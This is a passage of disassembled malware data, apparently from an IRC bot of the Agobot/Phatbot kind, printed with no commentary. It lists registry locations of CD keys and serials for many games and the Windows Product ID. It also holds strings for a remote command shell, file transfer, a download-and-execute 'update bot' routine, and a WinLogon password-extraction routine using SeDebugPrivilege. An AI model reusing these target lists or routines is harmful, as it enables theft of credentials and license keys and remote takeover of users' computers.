		dd offset aSoftwareEle_16 ; "Software\\Electronic Arts\\EA Sports\\FIFA"...
		dd offset dword_4EADB8
		dd offset aFifa2003	; "FIFA	2003"
		align 10h
		dd 80000002h
		dd offset aSoftwareEle_17 ; "Software\\Electronic Arts\\EA Sports\\NHL "...
		dd offset dword_4EADBC
		dd offset aNhl2002	; "NHL 2002"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareEle_18 ; "Software\\Electronic Arts\\EA Sports\\NHL "...
		dd offset dword_4EADC0
		dd offset aNhl2003	; "NHL 2003"
		align 10h
		dd 80000002h
		dd offset aSoftwareEle_19 ; "Software\\Electronic Arts\\EA Sports\\Nasc"...
		dd offset dword_4EADC4
		dd offset aNascarRacing20 ; "Nascar Racing 2002"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareEle_20 ; "Software\\Electronic Arts\\EA Sports\\Nasc"...
		dd offset dword_4EADC8
		dd offset aNascarRacing_0 ; "Nascar Racing 2003"
		align 10h
		dd 80000002h
		dd offset aSoftwareRedSto ; "Software\\Red Storm Entertainment\\RAVENS"...
		dd offset aCdkey_5	; "CDKey"
		dd offset aRainbowSixIiiR ; "Rainbow Six III RavenShield"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareWestwo ; "Software\\Westwood\\Tiberian Sun"
		dd offset aSerial	; "Serial"
		dd offset aCommandAndCo_1 ; "Command and Conquer: Tiberian Sun"
		align 10h
		dd 80000002h
		dd offset aSoftwareWest_0 ; "Software\\Westwood\\Red Alert"
		dd offset aSerial_0	; "Serial"
		dd offset aCommandAndCo_2 ; "Command and Conquer: Red Alert"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareWest_1 ; "Software\\Westwood\\Red Alert 2"
		dd offset aSerial_1	; "Serial"
		dd offset aCommandAndCo_3 ; "Command and Conquer: Red Alert 2"
		align 10h
		dd 80000002h
		dd offset aSoftwareWest_2 ; "Software\\Westwood\\NOX"
		dd offset aSerial_2	; "Serial"
		dd offset aNox		; "NOX"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareTechla ; "Software\\Techland\\Chrome"
		dd offset aSerialnumber	; "SerialNumber"
		dd offset aChrome	; "Chrome"
		align 10h
		dd 80000002h
		dd offset aSoftwareIllusi ; "Software\\Illusion	Softworks\\Hidden & Da"...
		dd offset aKey_2	; "key"
		dd offset aHiddenDangerou ; "Hidden & Dangerous	2"
		dd 2 dup(0)
		dd 80000002h
		dd offset aSoftwareActivi ; "Software\\Activision\\Soldier of Fortune "...
		dd offset aInstallpath	; "InstallPath"
		dd offset aSoldierOfFortu ; "Soldier of	Fortune	II - Double Helix"
		dd offset aBaseMpSof2key ; "base\\mp\\sof2key"
		dd offset aMtkwftmkemfew3 ; "mtkwftmkemfew3p3b7"
		dd 80000002h
		dd offset aSoftwareBiowar ; "Software\\BioWare\\NWN\\Neverwinter"
		dd offset aLocation	; "Location"
		dd offset aNeverwinterNig ; "Neverwinter Nights"
		dd offset aNwncdkey_ini	; "nwncdkey.ini"
		dd offset aKey1		; "Key1="
		dd 80000002h
		dd offset aSoftwareBiow_0 ; "Software\\BioWare\\NWN\\Neverwinter"
		dd offset aLocation_0	; "Location"
		dd offset aNeverwinterN_0 ; "Neverwinter Nights	(Shadows of Undrenti"...
		dd offset aNwncdkey_ini_0 ; "nwncdkey.ini"
		dd offset aKey2		; "Key2="
		dd 80000002h
		dd offset aSoftwareBiow_1 ; "Software\\BioWare\\NWN\\Neverwinter"
		dd offset aLocation_1	; "Location"
		dd offset aNeverwinterN_1 ; "Neverwinter Nights	(Hordes	of the Under"...
		dd offset aNwncdkey_ini_1 ; "nwncdkey.ini"
		dd offset aKey3		; "Key3="
		dd 6 dup(0)
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .data:off_44D33Co
		align 4
aCdkey_0	db 'CDKey',0            ; DATA XREF: .data:0044D340o
		align 10h
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: .data:0044D344o
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0 ; DATA XREF: .data:0044D354o
		align 10h
aRegnumber	db 'RegNumber',0        ; DATA XREF: .data:0044D358o
		align 4
aTheGladiators	db 'The Gladiators',0   ; DATA XREF: .data:0044D35Co
		align 4
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0 ; DATA XREF: .data:0044D36Co
		align 4
aKey_0		db 'Key',0              ; DATA XREF: .data:0044D370o
aGunmanChronicl	db 'Gunman Chronicles',0 ; DATA XREF: .data:0044D374o
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0 ; DATA XREF: .data:0044D384o
		align 4
aKey_1		db 'Key',0              ; DATA XREF: .data:0044D388o
aHalfLife	db 'Half-Life',0        ; DATA XREF: .data:0044D38Co
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0 ; DATA XREF: .data:0044D39Co
		align 4
aPrvkey		db 'prvkey',0           ; DATA XREF: .data:0044D3A0o
		align 4
aIndustryGiant2	db 'Industry Giant 2',0 ; DATA XREF: .data:0044D3A4o
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0 ; DATA XREF: .data:0044D3B4o
aCustomernumber	db 'CustomerNumber',0   ; DATA XREF: .data:0044D3B8o
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0 ; DATA XREF: .data:0044D3BCo
		align 4
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
					; DATA XREF: .data:0044D3CCo
		align 4
aCdkey_1	db 'CDKey',0            ; DATA XREF: .data:0044D3D0o
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0 ; DATA XREF: .data:0044D3D4o
aSoftwareMicr_2	db 'Software\Microsoft\Windows\CurrentVersion',0
					; DATA XREF: .data:0044D3E4o
		align 4
aProductid	db 'ProductId',0        ; DATA XREF: .data:0044D3E8o
		align 10h
aMicrosoftWindo	db 'Microsoft Windows Product ID',0 ; DATA XREF: .data:0044D3ECo
		align 10h
aSoftwareUnreal	db 'Software\Unreal Technology\Installed Apps\UT2003',0
					; DATA XREF: .data:0044D3FCo
		align 4
aCdkey_2	db 'CDKey',0            ; DATA XREF: .data:0044D400o
		align 4
aUnrealTourname	db 'Unreal Tournament 2003',0 ; DATA XREF: .data:0044D404o
		align 4
aSoftwareUnre_0	db 'Software\Unreal Technology\Installed Apps\UT2004',0
					; DATA XREF: .data:0044D414o
		align 4
aCdkey_3	db 'CDKey',0            ; DATA XREF: .data:0044D418o
		align 10h
aUnrealTourna_0	db 'Unreal Tournament 2004',0 ; DATA XREF: .data:0044D41Co
		align 4
aSoftwareIgi2Re	db 'Software\IGI 2 Retail',0 ; DATA XREF: .data:0044D42Co
		align 10h
aCdkey_4	db 'CDKey',0            ; DATA XREF: .data:0044D430o
		align 4
aIgi2CovertStri	db 'IGI 2: Covert Strike',0 ; DATA XREF: .data:0044D434o
		align 10h
aSoftwareElectr	db 'Software\Electronic Arts\EA Distribution\Freedom Force\ergc',0
					; DATA XREF: .data:0044D444o
aFreedomForce	db 'Freedom Force',0    ; DATA XREF: .data:0044D44Co
		align 4
aSoftwareElec_0	db 'Software\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
					; DATA XREF: .data:0044D45Co
aBattlefield194	db 'Battlefield 1942',0 ; DATA XREF: .data:0044D464o
		align 4
aSoftwareElec_1	db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
					; DATA XREF: .data:0044D474o
		db 'me\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0 ; DATA XREF: .data:0044D47Co
aSoftwareElec_2	db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
					; DATA XREF: .data:0044D48Co
		db ' of WWII\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942 (Secret Weapons of WWII)',0
					; DATA XREF: .data:0044D494o
		align 10h
aSoftwareElec_3	db 'Software\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
					; DATA XREF: .data:0044D4A4o
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0 ; DATA XREF: .data:0044D4ACo
aSoftwareElec_4	db 'Software\Electronic Arts\EA GAMES\Black and White\ergc',0
					; DATA XREF: .data:0044D4BCo
		align 4
aBlackAndWhite	db 'Black and White',0  ; DATA XREF: .data:0044D4C4o
aSoftwareElec_5	db 'Software\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
					; DATA XREF: .data:0044D4D4o
		db 'ro Hour\ergc',0
		align 4
aCommandAndConq	db 'Command and Conquer: Generals (Zero Hour)',0
					; DATA XREF: .data:0044D4DCo
		align 4
aSoftwareElec_6	db 'Software\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
					; DATA XREF: .data:0044D4ECo
aJamesBond007Ni	db 'James Bond 007: Nightfire',0 ; DATA XREF: .data:0044D4F4o
		align 10h
aSoftwareElec_7	db 'Software\Electronic Arts\EA GAMES\Generals\ergc',0
					; DATA XREF: .data:0044D504o
aCommandAndCo_0	db 'Command and Conquer: Generals',0 ; DATA XREF: .data:0044D50Co
		align 10h
aSoftwareElec_8	db 'Software\Electronic Arts\EA GAMES\Global Operations\ergc',0
					; DATA XREF: .data:0044D51Co
		align 4
aGlobalOperatio	db 'Global Operations',0 ; DATA XREF: .data:0044D524o
		align 10h
aSoftwareElec_9	db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
					; DATA XREF: .data:0044D534o
		db 'rgc',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault',0 ; DATA XREF: .data:0044D53Co
		align 4
aSoftwareEle_10	db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
					; DATA XREF: .data:0044D54Co
		db 'reakthrough\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
					; DATA XREF: .data:0044D554o
		align 4
aSoftwareEle_11	db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
					; DATA XREF: .data:0044D564o
		db 'pearhead\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault: Spearhead',0
					; DATA XREF: .data:0044D56Co
		align 4
aSoftwareEle_12	db 'Software\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
					; DATA XREF: .data:0044D57Co
		align 4
aErgc		db 'ergc',0             ; DATA XREF: .data:0044D580o
		align 10h
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0 ; DATA XREF: .data:0044D584o
		align 10h
aSoftwareEle_13	db 'Software\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
					; DATA XREF: .data:0044D594o
		db 0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0 ; DATA XREF: .data:0044D59Co
aSoftwareEle_14	db 'Software\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
					; DATA XREF: .data:0044D5ACo
		db 'ion\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0 ; DATA XREF: .data:0044D5B4o
		align 10h
aSoftwareEle_15	db 'Software\Electronic Arts\EA Sports\FIFA 2002\ergc',0
					; DATA XREF: .data:0044D5C4o
		align 4
aFifa2002	db 'FIFA 2002',0        ; DATA XREF: .data:0044D5CCo
		align 10h
aSoftwareEle_16	db 'Software\Electronic Arts\EA Sports\FIFA 2003\ergc',0
					; DATA XREF: .data:0044D5DCo
		align 4
aFifa2003	db 'FIFA 2003',0        ; DATA XREF: .data:0044D5E4o
		align 10h
aSoftwareEle_17	db 'Software\Electronic Arts\EA Sports\NHL 2002\ergc',0
					; DATA XREF: .data:0044D5F4o
		align 4
aNhl2002	db 'NHL 2002',0         ; DATA XREF: .data:0044D5FCo
		align 10h
aSoftwareEle_18	db 'Software\Electronic Arts\EA Sports\NHL 2003\ergc',0
					; DATA XREF: .data:0044D60Co
		align 4
aNhl2003	db 'NHL 2003',0         ; DATA XREF: .data:0044D614o
		align 10h
aSoftwareEle_19	db 'Software\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
					; DATA XREF: .data:0044D624o
		align 4
aNascarRacing20	db 'Nascar Racing 2002',0 ; DATA XREF: .data:0044D62Co
		align 10h
aSoftwareEle_20	db 'Software\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
					; DATA XREF: .data:0044D63Co
		align 4
aNascarRacing_0	db 'Nascar Racing 2003',0 ; DATA XREF: .data:0044D644o
		align 10h
aSoftwareRedSto	db 'Software\Red Storm Entertainment\RAVENSHIELD',0
					; DATA XREF: .data:0044D654o
		align 10h
aCdkey_5	db 'CDKey',0            ; DATA XREF: .data:0044D658o
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0 ; DATA XREF: .data:0044D65Co
aSoftwareWestwo	db 'Software\Westwood\Tiberian Sun',0 ; DATA XREF: .data:0044D66Co
		align 4
aSerial		db 'Serial',0           ; DATA XREF: .data:0044D670o
		align 4
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0 ; DATA XREF: .data:0044D674o
		align 10h
aSoftwareWest_0	db 'Software\Westwood\Red Alert',0 ; DATA XREF: .data:0044D684o
aSerial_0	db 'Serial',0           ; DATA XREF: .data:0044D688o
		align 4
aCommandAndCo_2	db 'Command and Conquer: Red Alert',0 ; DATA XREF: .data:0044D68Co
		align 4
aSoftwareWest_1	db 'Software\Westwood\Red Alert 2',0 ; DATA XREF: .data:0044D69Co
		align 4
aSerial_1	db 'Serial',0           ; DATA XREF: .data:0044D6A0o
		align 4
aCommandAndCo_3	db 'Command and Conquer: Red Alert 2',0 ; DATA XREF: .data:0044D6A4o
		align 10h
aSoftwareWest_2	db 'Software\Westwood\NOX',0 ; DATA XREF: .data:0044D6B4o
		align 4
aSerial_2	db 'Serial',0           ; DATA XREF: .data:0044D6B8o
		align 10h
aNox		db 'NOX',0              ; DATA XREF: .data:0044D6BCo
aSoftwareTechla	db 'Software\Techland\Chrome',0 ; DATA XREF: .data:0044D6CCo
		align 10h
aSerialnumber	db 'SerialNumber',0     ; DATA XREF: .data:0044D6D0o
		align 10h
aChrome		db 'Chrome',0           ; DATA XREF: .data:0044D6D4o
		align 4
aSoftwareIllusi	db 'Software\Illusion Softworks\Hidden & Dangerous 2',0
					; DATA XREF: .data:0044D6E4o
		align 4
aKey_2		db 'key',0              ; DATA XREF: .data:0044D6E8o
aHiddenDangerou	db 'Hidden & Dangerous 2',0 ; DATA XREF: .data:0044D6ECo
		align 4
aSoftwareActivi	db 'Software\Activision\Soldier of Fortune II - Double Helix',0
					; DATA XREF: .data:0044D6FCo
		align 4
aInstallpath	db 'InstallPath',0      ; DATA XREF: .data:0044D700o
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0 ; DATA XREF: .data:0044D704o
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0  ; DATA XREF: .data:0044D708o
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0 ; DATA XREF: .data:0044D70Co
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0 ; DATA XREF: .data:0044D714o
		align 10h
aLocation	db 'Location',0         ; DATA XREF: .data:0044D718o
		align 4
aNeverwinterNig	db 'Neverwinter Nights',0 ; DATA XREF: .data:0044D71Co
		align 10h
aNwncdkey_ini	db 'nwncdkey.ini',0     ; DATA XREF: .data:0044D720o
		align 10h
aKey1		db 'Key1=',0            ; DATA XREF: .data:0044D724o
		align 4
aSoftwareBiow_0	db 'Software\BioWare\NWN\Neverwinter',0 ; DATA XREF: .data:0044D72Co
		align 4
aLocation_0	db 'Location',0         ; DATA XREF: .data:0044D730o
		align 4
aNeverwinterN_0	db 'Neverwinter Nights (Shadows of Undrentide)',0
					; DATA XREF: .data:0044D734o
		align 4
aNwncdkey_ini_0	db 'nwncdkey.ini',0     ; DATA XREF: .data:0044D738o
		align 4
aKey2		db 'Key2=',0            ; DATA XREF: .data:0044D73Co
		align 4
aSoftwareBiow_1	db 'Software\BioWare\NWN\Neverwinter',0 ; DATA XREF: .data:0044D744o
		align 10h
aLocation_1	db 'Location',0         ; DATA XREF: .data:0044D748o
		align 4
aNeverwinterN_1	db 'Neverwinter Nights (Hordes of the Underdark)',0
					; DATA XREF: .data:0044D74Co
		align 4
aNwncdkey_ini_1	db 'nwncdkey.ini',0     ; DATA XREF: .data:0044D750o
		align 4
aKey3		db 'Key3=',0            ; DATA XREF: .data:0044D754o
		align 4
; char aSS_7[]
aSS_7		db '%s\%s',0            ; DATA XREF: sub_416591+79o
		align 4
; char aR_1[]
aR_1:					; DATA XREF: sub_416591+8Ao
		unicode	0, <r>,0
; char asc_44E610[]
asc_44E610:				; DATA XREF: sub_416591+DEo
		unicode	0, <=>,0
; char asc_44E614[]
asc_44E614:				; DATA XREF: sub_416591+E9o
		unicode	0, <=>,0
dword_44E618	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_416591+FBo
		dd 0
; char asc_44E630[]
asc_44E630	db '-'                  ; DATA XREF: sub_416591+109o
		db 3, 34h, 2
		dd 656B6463h, 3027379h,	7325202Dh, 7325203Ah, 0
; char asc_44E648[]
asc_44E648	db '-'                  ; DATA XREF: sub_416591+15Bo
		db 3, 34h, 2
		dd 656B6463h, 3027379h,	7325202Dh, 7325203Ah, 0
; char asc_44E660[]
asc_44E660	db '-'                  ; DATA XREF: sub_4167BF+47o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 4
; char asc_44E684[]
asc_44E684	db '-'                  ; DATA XREF: sub_4167BF+ABo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
; char asc_44E6B4[]
asc_44E6B4	db 0Ah,0		; DATA XREF: sub_4167BF+138o
		align 4
; char asc_44E6B8[]
asc_44E6B8	db '-'                  ; DATA XREF: sub_4167BF+170o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
unk_44E6EC	db  2Dh	; -		; DATA XREF: sub_416980+44o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_3	db '- failed to create socket',0
		align 10h
unk_44E710	db  2Dh	; -		; DATA XREF: sub_416980+82o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_44E734	db  2Dh	; -		; DATA XREF: sub_416980+FDo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpen_0	db '- failed to open socket',0
		align 4
unk_44E758	db  2Dh	; -		; DATA XREF: sub_416980+127o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
; char dword_44E778
dword_44E778	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_416980+16Ao
		dd 169h
dword_44E790	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: sub_416980+1CBo
		dd 74756Fh
; char asc_44E7A8[]
asc_44E7A8	db '-'                  ; DATA XREF: sub_416980+202o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_44E7CC	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: sub_416980+36Bo
		dd 726F72h
dword_44E7E4	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: sub_416980+37Co
		dd 726F72h
; char asc_44E7FC[]
asc_44E7FC	db '-'                  ; DATA XREF: sub_416980+2FAo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
; char aSS_8[]
aSS_8		db '%s%s',0             ; DATA XREF: sub_416D25+54o
		align 10h
unk_44E830	db  2Dh	; -		; DATA XREF: sub_416D25+83o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 10h
; char aAB[]
aAB		db 'a+b',0              ; DATA XREF: sub_416D25+97o
unk_44E864	db  2Dh	; -		; DATA XREF: sub_416D25+ABo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 10h
; char asc_44E890[]
asc_44E890	db '-'                  ; DATA XREF: sub_416D25+CBo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
; char asc_44E8B0[]
asc_44E8B0	db '-'                  ; DATA XREF: sub_416D25+156o
		db 3, 34h, 2
		dd 2636364h, 73202D03h,	656B636Fh, 72652074h, 726F72h
; char asc_44E8C8[]
asc_44E8C8	db '-'                  ; DATA XREF: sub_416D25+1D1o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
; char asc_44E8F4[]
asc_44E8F4	db '-'                  ; DATA XREF: sub_416F62+77o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 4
unk_44E91C	db  2Dh	; -		; DATA XREF: sub_416F62+183o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
; char asc_44E944[]
asc_44E944	db '-'                  ; DATA XREF: sub_416F62+195o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 4
; char asc_44E96C[]
asc_44E96C	db '-'                  ; DATA XREF: sub_416F62+1D8o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
; char asc_44E998[]
asc_44E998	db '-'                  ; DATA XREF: sub_416F62+262o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 10h
; char asc_44E9C0[]
asc_44E9C0	db '-'                  ; DATA XREF: sub_416F62+2E1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
aOpen_2		db 'open',0             ; DATA XREF: sub_416F62+336o
		align 10h
; char asc_44EA00[]
asc_44EA00	db '-'                  ; DATA XREF: sub_416F62+358o
		db 3, 34h, 2
		dd 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh, 25206465h
		dd 73h
; char asc_44EA1C[]
asc_44EA1C	db '-'                  ; DATA XREF: sub_416F62+3C9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 10h
unk_44EA60	db  2Dh	; -		; DATA XREF: sub_416F62+485o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
; char asc_44EA94[]
asc_44EA94	db '-'                  ; DATA XREF: sub_416F62+493o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
aUnknown	db 'Unknown',0          ; DATA XREF: sub_41750A:loc_41754Do
aInvalid	db 'Invalid',0          ; DATA XREF: sub_41750A:loc_417547o
aDisk		db 'Disk',0             ; DATA XREF: sub_41750A:loc_417541o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_41750A:loc_41753Bo
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_41750A:loc_417535o
		align 4
off_44EAE8	dd offset word_4D4152	; DATA XREF: sub_41750A:loc_41752Fo
dword_44EAEC	dd 3Fh			; DATA XREF: sub_41750A+1Fo
; char aFailed[]
aFailed		db 'failed',0           ; DATA XREF: sub_41759B+E9o
		align 4
; char aFailed_0[]
aFailed_0	db 'failed',0           ; DATA XREF: sub_41759B+FCo
		align 10h
; char aFailed_1[]
aFailed_1	db 'failed',0           ; DATA XREF: sub_41759B+10Fo
		align 4
; char aSkb[]
aSkb		db '%sKB',0             ; DATA XREF: sub_41759B+72o
		align 10h
; char aSkb_0[]
aSkb_0		db '%sKB',0             ; DATA XREF: sub_41759B+9Fo
		align 4
; char aSkb_1[]
aSkb_1		db '%sKB',0             ; DATA XREF: sub_41759B+CCo
		align 10h
; char aFailed_2[]
aFailed_2	db 'failed',0           ; DATA XREF: sub_4176CB+3Bo
		align 4
; char asc_44EB28[]
asc_44EB28	db '-'                  ; DATA XREF: sub_4176CB+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
; char asc_44EB64[]
asc_44EB64	db '-'                  ; DATA XREF: sub_4176CB+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 10h
; char aA_1[]
aA_1		db 'A:\',0              ; DATA XREF: sub_41779D:loc_4177E2o
; char asc_44EBA4[]
asc_44EBA4	db '-'                  ; DATA XREF: sub_417822+5Co
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
; char asc_44EBCC[]
asc_44EBCC	db '-'                  ; DATA XREF: sub_417822+C8o
		db 3, 34h, 2
		dd 646E6966h, 656C6966h, 202D0302h, 6E756F66h, 64252064h
		dd 6C696620h, 7365h
; char aS_29[]
aS_29		db '%s\*',0             ; DATA XREF: sub_41793D+1Ao
		align 4
; char aSS_9[]
aSS_9		db '%s\%s',0            ; DATA XREF: sub_41793D+7Ao
		align 4
; char aSS_10[]
aSS_10		db '%s\%s',0            ; DATA XREF: sub_41793D+CEo
		align 4
; char asc_44EC04[]
asc_44EC04	db '-'                  ; DATA XREF: sub_41793D+107o
		db 3, 34h, 2
		dd 646E6966h, 656C6966h, 202D0302h, 6E756F66h, 73252064h
		dd 73255Ch
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_417A8B+40o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_417A8B+55o
		align 10h
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_417A8B+68o
		align 4
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_417A8B+73o
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_417A8B+80o
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_417A8B+8Do
		align 4
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_417A8B+9Ao
		align 10h
aUsername:				; DATA XREF: sub_417A8B+CEo
		unicode	0, <USERNAME>,0
		align 4
aUserdomain:				; DATA XREF: sub_417A8B+DCo
		unicode	0, <USERDOMAIN>,0
		align 4
; char asc_44ECFC[]
asc_44ECFC	db '-'                  ; DATA XREF: sub_417A8B+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
unk_44ED58	db  2Dh	; -		; DATA XREF: sub_417A8B:loc_417BD0o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
